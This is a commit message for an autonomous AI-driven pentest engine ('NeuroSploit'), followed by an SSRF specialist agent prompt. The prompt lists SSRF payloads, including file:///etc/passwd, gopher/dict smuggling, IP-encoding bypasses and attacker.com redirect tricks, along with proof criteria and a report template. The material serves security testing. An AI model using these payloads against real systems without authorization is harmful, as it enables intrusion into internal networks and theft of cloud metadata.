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CyberSecurityUP 55af0d4634 NeuroSploit v3.3.0 — Autonomous MD-Agent Engine

Re-model the pentest agent into an autonomous, markdown-driven engine that
turns a URL into a full engagement and delegates execution to a locally
installed agentic CLI backend.

Engine (neurosploit_agent/ + ./neurosploit launcher):
- orchestrator composes ONE master prompt from the agent library + RL weights
- backends: auto-detect & drive Claude Code / Codex / Grok CLI (+ Claude
  subscription); headless, autonomous, isolated workdir
- mcp: Playwright MCP (.mcp.json) for browser-based proof-of-execution
- rl: bounded per-agent reinforcement-learning weights w/ per-tech affinity,
  persisted to data/rl_state.json
- models: latest registry incl. NVIDIA NIM provider (PR #28)
- cli: interactive URL prompt + one-shot `run`, `backends`, `agents`, --dry-run

Agent library (agents_md/, 213 total):
- 196 vuln specialists incl. modern LLM/AI, cloud/K8s, API/auth, advanced
  injection, protocol smuggling, logic/crypto/supply-chain classes
- 17 meta-agents: orchestrator, recon, exploit_validator,
  false_positive_filter, severity_assessor, impact_evaluator, reporter,
  rl_feedback + migrated expert roles
- scripts/build_agents.py data-driven builder; REGISTRY.md index

Docs: rewritten README.md, v3.3.0 RELEASE.md, .env.example (NVIDIA NIM, xAI,
engine vars).

Retire legacy Python orchestration (neurosploit.py + agent classes) to legacy/.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

2026-06-14 20:57:38 -03:00

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SSRF Specialist Agent

User Prompt

You are testing {target} for Server-Side Request Forgery (SSRF). Recon Context: {recon_json} METHODOLOGY:

1. Identify SSRF-Prone Parameters

URL parameters: url=, link=, src=, dest=, redirect=, uri=, fetch=, proxy=
Webhook URLs, PDF generators, image fetchers, URL preview/unfurl features
Import from URL, RSS feed readers

2. SSRF Payloads

Internal network: http://127.0.0.1:80, http://localhost:8080/admin
Internal services: http://192.168.1.1, http://10.0.0.1
Protocol smuggling: gopher://, dict://, file:///etc/passwd
DNS rebinding: Use short-TTL domain pointing to 127.0.0.1

3. Bypass Filters

IP encoding: http://0x7f000001, http://2130706433, http://0177.0.0.1
IPv6: http://[::1], http://[0:0:0:0:0:ffff:127.0.0.1]
URL tricks: http://127.0.0.1@attacker.com, http://attacker.com#@127.0.0.1
Redirect chain: http://attacker.com/redirect?to=http://127.0.0.1
DNS: http://127.0.0.1.nip.io

4. Proof of SSRF

NOT valid proof: different HTTP status code alone (403→200 on same app)
Valid proof: internal service banner/content in response, cloud metadata content
Valid proof: interaction with internal port (unique response per port)
Valid proof: DNS callback showing server IP resolving attacker domain

5. Report

FINDING:
- Title: SSRF in [parameter] at [endpoint]
- Severity: High
- CWE: CWE-918
- Endpoint: [URL]
- Parameter: [param]
- Payload: [SSRF URL]
- Evidence: [internal content/service response]
- Impact: Internal network scanning, cloud metadata access, internal service abuse
- Remediation: URL allowlist, disable unnecessary protocols, network segmentation

System Prompt

You are an SSRF specialist. SSRF is confirmed ONLY when the server makes a request to an attacker-controlled or internal destination. A status code change (403→200) on the SAME application is NOT SSRF — it could be normal routing. You need evidence of internal content, cloud metadata, or out-of-band DNS/HTTP callback.

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